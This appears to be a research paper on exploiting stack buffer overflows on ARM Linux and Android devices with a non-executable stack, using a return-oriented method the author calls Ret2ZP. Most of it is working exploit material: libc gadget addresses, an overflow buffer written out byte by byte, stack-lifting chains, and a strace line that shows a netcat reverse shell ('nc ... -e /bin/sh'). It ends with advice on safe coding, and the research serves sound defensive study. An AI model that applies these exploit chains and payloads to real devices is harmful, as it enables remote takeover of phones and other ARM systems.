SAMSUNG TELECOM. RESEARCH, ISRAEL

Innovating Telecom.

============= Non-Executable Stack ARM Exploitation =================

--[0.- **Introduction**

This paper is describing techniques to exploit stack-based buffer overflows and to get more familiar with ARM exploitation in the modern age - where ARM stack isn't executable.
This research was made to understand the risks on modern ARM devices in-order to prevent them by suggesting solutions.
Disclaimer: When using parts from this paper, you should still credit the authors of this paper and point to an updating link of this paper as a reference.
Ret2ZP Attack is described fully and can be preformed at your own ARM devices. I will claim no responsibility for doing yourself or other damage. It's on your own risk.
This paper is assuming basic knowledge in X86 assembly or ARM assembly.
Also, knowledge of exploitation techniques may assist understanding the paper (when stack is not executable, such as ret2libc attacks).

Stack buffer overflow bugs are caused when a program writes more data to a buffer located on the stack than there was actually allocated for that buffer.
How can a BO be used?
(I) A user can locally run commands to elevate privileges and gain control over a mobile-device.
(II) A user can remotely exploit a phone, to gain control over a remote phone to execute commands.

This paper intends to show there's still a risk in current implied security mechanism for devices using ARM CPU. My hope is that more effort will be invested in making solution on mainline kernels.

Now, let's change our thoughts from computers to real world ARM exploitation scenario. ARM is being used everywhere right now: Televisions, advanced mobile phones, tablets, etc!
But it appears that all exploitation rely on Stack being executable on ARM, which is not the modern scenario.

Check if there's an updated version of this paper at:
http://imthezuk.blogspot.com

--[1.- **ARM Assembly**

----[1.0 **Exploitation of ARM vs. X86 when stack isn't executable**

Stack is not executable on many new platforms, causing exploitation to be harder.
ARM Assembly is different than X86 Assembly.
X86 Tricks exists to control the flow of a program after running over the EIP value [such as : ret2libc (*D)] where you can run over the EBP, EIP and can control the path of the function + add parameters(!).
No public knowledge of exploitation on ARM exists by the time of writing this paper [on ARM exploitation when stack isn't executable]. This is the research, enjoy:

----[1.1 **ARM calling convention (APCS)**

The standard ARM calling convention (*A) allocates the 16 ARM registers as:
|=>   R15 is the Program Counter (PC)
|=>   R14 is the Link Register (LR)
|=>   R13 is the Stack Pointer (SP)
|=>   R12 is the Intra-Procedure-call scratch register (IP)
|=>   R11 is the Frame Pointer (FP)
|=>   R4 to R10: used to hold local variables.
|=>   R0 to R3: used to hold argument values to and from a subroutine
===========

Which means, that if we want to call SYSTEM() function, which gets one parameter (char *), it will be passed through R0.
Since parameter is not being pushed on the stack when calling the function, it was not supposed to be popped from the stack, so the original way of getting parameter to function
is not the same as X86. We'll need to adjust parameters using the following tricks in-order for the buffer to do successful exploit.

----[1.2 **Why simple ret2libc will not work?**

What does it mean for (non-executable-stack) exploitation? Parameters needed to be setup instead of just putting them in the right order on the stack like you were used to on X86.
For example, simple Ret2Libc attack on X86 would have looked something like this :

```
|----------------|----------|------------|----------------|-----------------|
| 16 A's         | AAAA     |  SYSTEM    | EXIT FUNCTION  |   &/bin/sh      |
|----------------|----------|------------|----------------|-----------------|
|    args        | EBP  [20]|  EIP  [24] |    EBP+8   [28]|  EBP+12     [32]|
```

Meaning you can control the Base Pointer (can be used for Frame faking), the function to call to (SYSTEM(buf)), the parameter to pass to function (&/bin/sh) -> and the exit function that will be executed after SYSTEM(buf).

----[1.3 **Understanding the vulnerable function**

In ARM there are a few ways of exploitation depending on the vulnerable function:
(I) Vulnerable Function returns no parameters (void)
(II) Vulnerable Function returns no parameters (void) but does several stuff using arguments R0-R3.

(III) Vulnerable Function does return parameters (int, char* , ...)
Keep reading to understand more about exploiting all of them, or how to take advantage of some of them in-order to make buffer shorter.

--[2.- **ARM Exploitation**

----[2.0 **Controlling the PC**

Exploiting (I) can be easy but can also be very tricky :
It will be explained right after explaining why does it even work, and why can we control the PC (Program-Counter, equivalent to EIP on X86).
When calling to a function, some parameters are moved to the right registers (R0-R3) [Depends on the compiling flags, but it mostly looks the same] and not being pushed on the so-called stack.
let's call a function named Func, that receives 2 parameters :

```
mov R0,R3
mov R1,R2
bl func ; See **
```

** Like call instruction in X86, (also note that "l" in "bl" means "Branch with link". The next instruction will be stored on LR and in-order to return, LR will be moved back to PC.)

As you can see arguments have been forwarded to the function using R0 and R1 [changes from different compiling flags, but in general case], but what happens when entering to func?

```
push {R4, R11(FP), R14(LR)} ; in x86 : push R4\n push R11\n push R14
add FP, SP, #8 ; FP=SP+8
...
```

R4 is being pushed right after where the SP had pointed to. Also, R11 (which is the Frame Pointer) and the Link Register is on the stack as-well, in this order :

```
memory goes this way    <-----
stack is going this way ----->

== |  R4     |    R11   |    LR     |
== * <-- Stack Pointer is located at * when calling the function
```

Let's take a look at the epilogue on func:

```
sub SP,FP, #8 ; 0x8
pop {R4, FP, PC} ; in x86 asm : pop R4\n pop FP\n pop PC\n
.word 0x00008400 ; data function is using stored here
.word 0x........ ; and so on ...
............... ; and so on ...
```

So, after LR, had been pushed when entering the function, it's being popped as PC(!), meaning the next instruction will be popped after the overflow allowing to take control of PC.
If we'll try a Ret2LibC attack, it will failed, because parameters are not being popped. We'll do some tricks in-order to control the parameter (R0..R3) before calling the function.

We'll call this attack Ret2ZP (Return to Zero Protection), it's a combination of Return Oriented Programming, Return to LibC, and some tricks to get the machine do what we want it to do.

----[2.0 **Ret2ZP (Return To Zero Protection) - Attack Explained in Depth**

Now that we see that we can control the PC but still cannot pass parameters to functions, let's explain how the Ret2ZP works.

Here's a demonstration of how a buffer looks + stack in an overflown scenario (example):

```
|----------------|----------|------------|----------------|------------------------|
| 16 A's         | BBBB     |  CCCC      |      DDDD      | &function-[0x12345678] |
|----------------|----------|------------|----------------|------------------------|
|    args        | junk [20]|  R4        |R11-framePointer|    prog-counter (PC)   |
```

So after the following buffer received : "AA..A"(16 times)BBBBCCCCDDDD\x78\x56\x34\x12 We'll get the code go to &0x12345678 and R4 to hold 0x43434343 as a value and R11 to hold 0x44444444.
If we want to maintain our code and do sort of RoP (return oriented programming), we'll return to the code ->
(depends on how many parameters are being pushed (if at all), and if SP is not adjusted (very important!), after &function.

What's the problem with jumping from PC as is to other functions (such as SYSTEM("/bin/sh");)

----[2.1 **Ret2ZP (Return To Zero Protection) - For Local Attacker**

In-order to execute commands on local attack, we just need shell, and can write in whatever we want after it. We don't need a fancy commands with remote shell, netcats and echoing to devices such as /dev/tcp.
Let's do a Ret2Libc attack with ROP a bit of stack lifting to not override ourselves and parameter adjustments (Ret2ZP):
What we actually need?

1. Address of string /bin/sh, we can get that one from libc easily.
2. A bit of stack-lifting to stay synced with the buffer (not necessarily, but good for understanding the attack).
3. A way to push address to R0 which is not on the stack (&/bin/sh string from libc).
4. Making the return of that function point to SYSTEM function.

1 == Easy.
2 == We can get that from wprintf epilogue. This will be explained in the next section as-well so I will skip the explanation.
But it's not really necessary in this case... We can still control the flow and we don't need to sync it here.

Now, let's look for a way to push parameters to R0 without loosing our control of the PC.

Okay, How can we do that? Let's just jump to a POP instruction which contains at-least R0, and PC. The more, the better we control it, but right now we just need to control R0 and PC.
R0 Should point to &/bin/sh and PC now should point to SYSTEM function.

Here's an example from Libc that contains a POP instruction with R0 and PC. Why from libc? No specific reason, could have been taken from somewhere else, but make sure it's static addresses!

After a quick look, this is what I've found :

```
        0x41dc7344 <erand48+28>:      bl      0x41dc74bc <erand48_r>
        0x41dc7348 <erand48+32>:      ldm     SP, {R0, R1} <==== WE NEED TO JUMP HERE.
Let's make R0 point to &/bin/sh
        0x41dc734c <erand48+36>:      add     SP, SP, #12       ; 0xc
        0x41dc7350 <erand48+40>:      pop     {PC} ====> We'll get out here. Let's make it
point to SYSTEM.
```

So now, that we control everything, let's do the attack, and it will look something like this :

```
|---------------|----------|------------|---------------|-----------------|-- 4 Bytes--|---4 bytes-----|--4 bytes----|---4 bytes-------|
| 16 A's        | BBBB     |  R4        |  R11          |    &41dc7348    |  &/bin/sh  |     EEEE      |    FFFF     |  &SYSTEM        |
|---------------|----------|------------|---------------|-----------------|------------|---------------|-------------|-----------------|
|    args       | junk [20]|  R4        |  frame pointer |prog-counter (pc)|     R0     |      R1       |JUNK(SP Lift)|prog-counter (pc)|
```

Buffer will look something like this (with no spaces):
A..A*16 BBBB CCCC DDDD \x48\x73\xdc\x41
\xE4\xFE\xEA\x41 EEEE FFFF \xB4\xE3\xDC\x41
Or:

```
char buf[]  = "\x41\x41\x41\x41"
              "\x41\x41\x41\x41"
              "\x41\x41\x41\x41"
              "\x41\x41\x41\x41" //16A
              "\x42\x42\x42\x42" //fill buf
              "\x43\x43\x43\x43" //function out param1 (in this example)
              "\x44\x44\x44\x44" //R11
              "\x48\x73\xdc\x41" //R0,R1 feeder function
              "\xE4\xFF\xEA\x41" //R0
              "\x45\x45\x45\x45" //R1
              "\x46\x46\x46\x46" //JUNK
              "\xB4\xFF\xDC\x41";//SYSTEM
```

If we'll put breakpoint on system, this is the status of the relevant places:
=> R0 - 0x41EAFFE4 ; (&/bin/sh)
=> R1 - 0x45454545
=> R4 - 0x43434343
=> R11- 0x44444444

And SYSTEM will be called to execute /bin/sh.
Great success. Although it's good for only local attack, what we really want to achieve is get a remote-shell as-well, let's do it!

----[2.2 **Ret2ZP (Return To Zero Protection) - For Remote Attacker**

Local attacks are good, but we want to run commands, from remote, which is much better, and also can be used on Local attacks as-well. So let's investigate it further:
For example, if we've already got R0 to point to /bin/sh string, and the size of our buffer is [64], because the SYSTEM function will smash our place in stack (except for using a small size buffer

like [16] where you get shared DWORD of buffer which is not smashed by SYSTEM function), our command will not be executed! We need to use tricks in-order to bypass the self stack-smashing.

Let's say, we're calling other function who's using R4,R5,R6 and LR which will translate later to PC, our buffer will look like this :

```
|----------------|----------|------------|----------------|-----------------|---4 bytes--|---4 bytes-----|--4 bytes----|---4 bytes-------|
| 16 A's         | BBBB     |  R4        |  R11           |    &function    |  R4        |  R5           |   R6        |  &2nd_func      |
|----------------|----------|------------|----------------|-----------------|------------|---------------|-------------|-----------------|
|    args        | junk [20]|  R4        |  frame pointer |prog-counter (PC)|  1st param |  2nd param    | 3rd param   |prog-counter (PC)|
```

Wait, We cannot always jump into SYSTEM, since the stack is smashed and we need to re-adjust it.
SYSTEM is using ~384 bytes of its own stack, if we do a buf size of [16]
we get 4 shared bytes [if we're actually jumping to *(SYSTEM+4) which we can jump into;

Jumping into a DWORD of un-overwritten bytes can be good if you're using a local-privilege escalation attack, but not for remote attack (unless you can write to path).
I.e :
you can run : "sh;#AAAAA...." which you can use the first DWORD, it will run sh;# and will ignore anything else after the # till there's a null.
For instance :
  from strace : [pid 3832] execve("/bin/sh", ["sh", "-c", "sh;#X\332\313\276"...], [/* 19 vars */]) = 0

I've entered sh;#AAAAA.... and it translated into sh;#X\332\313\276....\0 because SYSTEM had used this stack location for its own use and corrupted it. shame.
We need to get our stack lifted at ~[384] bytes before or after the SYSTEM function so we can also use remote commands such as set password, run nc or rm -rf all of the hard-drive :)

I've searched for a place in libc which I can use to shift my stack up, and do the Ret2ZP Attack properly.

I was looking for something generic for the readers, but it was still easy to find chunk, let's look at the epilogue of wprintf and we'll find :

```
41df8954:   e28dd00c    add   SP, SP, #12   ; 0xc
41df8958:   e49de004    pop   {LR}        ; (ldr LR, [SP], #4) <--- We need to jump here!
                                            ; LR = [SP]
                                            ; SP += 4
41df895c:   e28dd010    add   SP, SP, #16   ; 0x10       STACK IS LIFTED RIGHT HERE BABY!
41df8960:   e12fff1e    bx   LR        ;          <--- We'll get out, here :)
41df8964:   000cc6c4    .word   0x000cc6c4
```

This was the first thing I've seen in libc.so and that's exactly what I need!
We'll jump to 0x41df8958 (pop {LR}, or we can jump to 0x41df8954 but we'll have to adjust our return accordingly)
as many times as we want, time after another. Till we get enough of stack lifting we want.

After fixing the stack, we'll jump right back to SYSTEM(), after stack is fixed. perfect Ret2ZP Attack!
In the first case where R0 points to SP when exiting the vulnerable function - Use the technique above to fix R0 and keep the calling from this initial lift.
If we got limited size of buffer, we just need to change SP to point to a specific writable region, and it can be made using one call. This method can be used to also control the
amount of lifting (and more generic, by its nature).

First, let's explain what's bx LR.
bx {LR} is an unconditional jump to {LR} [which points to SP+4 when executing-[4bytes+next-command]), but it will also enter to thumb mode if LR[0]==1... ARM is awesome!
It will look something like this:

```
|----------------|----------|------------|----------------|-wprintf epilogue|---------------|---4 bytes--...--|------4 bytes--------|---4 bytes-------|
| 16 A's         | BBBB     |  R4        |  R11           |   &0x41df8958   |....&0x41df8958| &0x41df8958...  |       AAAA          |   &SYSTEM       |
|----------------|----------|------------|----------------|--stack lifted---|---------------|-----------------|---------------------|-----------------|
|    args        | junk [20]|  R4        |  frame pointer |prog-counter (pc)|  again. lift  |  again...n times| after enough lifting|  (pc-after lift)|
```

After enough lifting we'll get :

from strace : [pid 3843] execve("/bin/sh", ["sh", "-c", "AAAABBBBCCCCDDDDEEEEFFFFGGGGHX\211\337A"...], [/* 19 vars */]) = 0
and we got all of our buffer size [16] + 8 bytes to execute whatever we want, which should be enough for remote attack as-well.
i.e :
from strace : [pid 3847] execve("/bin/sh", ["sh", "-c", "nc 192.168.0.1 80 -e /bin/sh;\211\337A"...], [/* 19 vars */]) = 0
Ret2ZP : great success!

----[2.3 **Ret2ZP - R0..R3 Adjustments**

Other scenario:
(II) Vulnerable Function returns no parameters (void) but does several stuff using arguments R0..R3. (same goes for function returning results)
In this case, if you want to use the Ret2ZP Attack, you'll have to check the status of the registers after the vulnerable function returns.
You just need one register who points to a relative place where R0 was after the string manipulation, and use the Ret2ZP to first adjust the parameter, then to shift the stack
and then to execute payload. Which is good for a more complex command which is passed on the buffer itself, but if you need just a simple one you can use :
The same way it was used in the local attack, you can even control the flow using epilogue of functions such as erand48 :

```
        .text:41DC7348          LDMFD   SP, {R0,R1}  ; <== R0 & R1 Are adjusted
        .text:41DC734C          ADD     SP, SP, #0xC ; Adjusting stack by 12 bytes. Meaning there will be left 4 bytes of junk.
        .text:41DC7350          LDMFD   SP!, {PC} ; Going to next 4 bytes after junk.
```

check for relative path from other registers such as :

Register	Synonym	Special	Role in the procedure call standard
R15	PC		The Program Counter.

R14	LR	Link Address (Link Register) / Scratch register.
R13	SP	Stack Pointer. Lower end of current stack frame.
R12	IP	The Intra-Procedure-call scratch register.
R11	FP/v8	Frame pointer / Variable-register 8.
R10	sl/v7	Stack limit / Variable-register number 7.
R9	sb/tr/v6	Platform register. The meaning of this register is defined by the platform standard.

Really easy to do, and there's great code from libc that can be used for R0..R3 adjustments.
Also, You can pop into R0..R3 under certain parts of code in libc.so. Great stuff which is more then enough to gain control of affected device.
For example, You can use the following epilogue from MCOUNT function to pop parameters to R0..R3:

```
.text:41E6583C mcount
.text:41E6583C            STMFD   SP!, {R0-R3,R11,LR} ; Alternative name is '_mcount'
.text:41E65840            MOVS    R11, R11
.text:41E65844            LDRNE   R0, [R11,#-4]
.text:41E65848            MOVNES  R1, LR
.text:41E6584C            BLNE    mcount_internal
.text:41E65850            LDMFD   SP!, {R0-R3,R11,LR} <=== Jumping here will get you to
control R0, R1, R2, R3, R11 and LR which you'll be jumping into.
.text:41E65854            BX      LR
.text:41E65854 ; End of function mcount
```

If none of them is allowing you to re-produce your SP/R0..R3 on the way of the overflow, you can run only other functions/commands from the stuff which is already included in the function.
Like regular ret2libc without getting parameters passed properly, you'll need to adjust it to get the proper results, from limited set of payloads (i.e : run /bin/sh or do some_func) - Or if
There are static places you can use them to call each function the way you want it and to do whatever you want. Such as enabling the stack and calling our secondary payload.

----[2.4 **Ret2ZP - Using the attack to enable stack**

You can also do the attack to adjust parameters for MPROTECT() to add execution bit to your memory region of which you control.
Afterward, jump to the stack and run the commands using a prepared shellcode (take a look at alphanumeric shellcodes to ARM at (*B), but it's far better developed in X86).

----[2.5 **Ret2ZP – Hacking Android based phone**

There are many similarities between “regular” Linux, to Android. Android people have re-compiled libc to make it a more suitable for their platforms. One of the things you can easily notice, is that there are no: “pop .* R0 .*” (Atleast in the libc of the version I’ve checked).
So how will we be able to store our /system/bin/sh (it’s not just /bin/sh in Android) on R0? We’ll have to get a bit trickier, but it’s more or less, the same.

For instance, Take a look at this code:

```
mallinfo
        STMFD   SP!, {R4,LR}
        MOV     R4, R0
        BL      j_dlmallinfo
        MOV     R0, R4
        LDMFD   SP!, {R4,PC} ← Let’s jump here.
; End of function mallinfo
```

Since there are no pop R0 (intentionally or by mistake, we’ll adjust R4, and store it in R0 the next jump).

So let’s jump to the bolded line above, and we’ll get R4 to store our address of the string “/system/bin/sh”.
After that, we’ll have R4 pointing at it and we still got control of PC, but it’s not enough, so let’s jump to the following bolded line:

```
mallinfo
        STMFD   SP!, {R4,LR}
        MOV     R4, R0
        BL      j_dlmallinfo
        MOV     R0, R4 ← Let’s jump here.
        LDMFD   SP!, {R4,PC}
; End of function mallinfo
```

Now, R4 will be moved to R0, and we’ll have R0 pointing to &/system/bin/sh.
The next instruction will get another 4 bytes for R4 (which are not needed) and 4 bytes for the next function (&system). A shell will be executed for us.
So it’s more or less the same. All the above theory of-course applies in this scenario as-well.
You’ll need in the current Android that the process you attack (your own? For learning purposes!), was compiled with –fno-stack-protector (or you want to bypass that via bruteforce/cookie guessing/cookie overwrite) and dynamically linked. All the theory that had been checked on ARM Linux with regular libc will work as-well on Android, with some adjustments like the one demonstrated above.

--[3.- **Conclusions**
In today's world, ARM is extremely common and lots of stuff runs on ARM. In this paper is proposed a way of exploiting ARM when the stack isn't executable.
All the examples from the paper had been tested and worked properly before writing it - so it's not only theory, it actually works.
Working with ARM doesn't mean that you stack-overflow safe, and in this paper the payload is actually anything the attacker wants, meaning when writing code on ARM, You Should always be careful for buffer operations, check sizes and use safe coding functions instead of dangerous functions (like strcpy, memcpy, ..).
Having safe coding habits can eliminate this threat :). Having the stack not executable is not enough, like proven here, adding more security mechanisms is important!

--[4.- **Acknowledgments**

Special thanks to :
Ilan (NG!) Aelion - Thank Ilan, Couldn't have done it without you; You're the man!
Also, I'd like to thank to :
Moshe Vered – Thanks for the support/help!
Matthew Carpenter - Thanks for your words on hard times.
And thanks for Phrack of which I've taken the TXT design. May the lord be with you.

--[5.- **Author**

Itzhak (Zuk) Avraham. Researcher for Samsung Electronics.
blog : http://imthezuk.blogspot.com / http://www.preincidentassessment.com
For questions/chatting: itz2000 [at] gmail.com
Under twitter as: @ihackbanme

--[6.- **Reference** :

(*A) - The APCS ARM Calling Convention :
http://infocenter.arm.com/help/topic/com.arm.doc.ihi0042d/IHI0042D_aapcs.pdf
(*B) - AlphaNumeric Shellcodes when stack is executable :
http://dragos.com/psj09/pacsec2009-arm-alpha.pdf
(*C) - Alphanumeric ARM shellcode -
http://www.phrack.com/issues.html?issue=66&id=12
(*D) - It has some mistakes with where you control the EIP (+4) offset, but you can get the general idea from c0ntexb paper :
http://www.infosecwriters.com/text_resources/pdf/return-to-libc.pdf
(*E) – This blog, will also contain updated version of this paper:
http://imthezuk.blogspot.com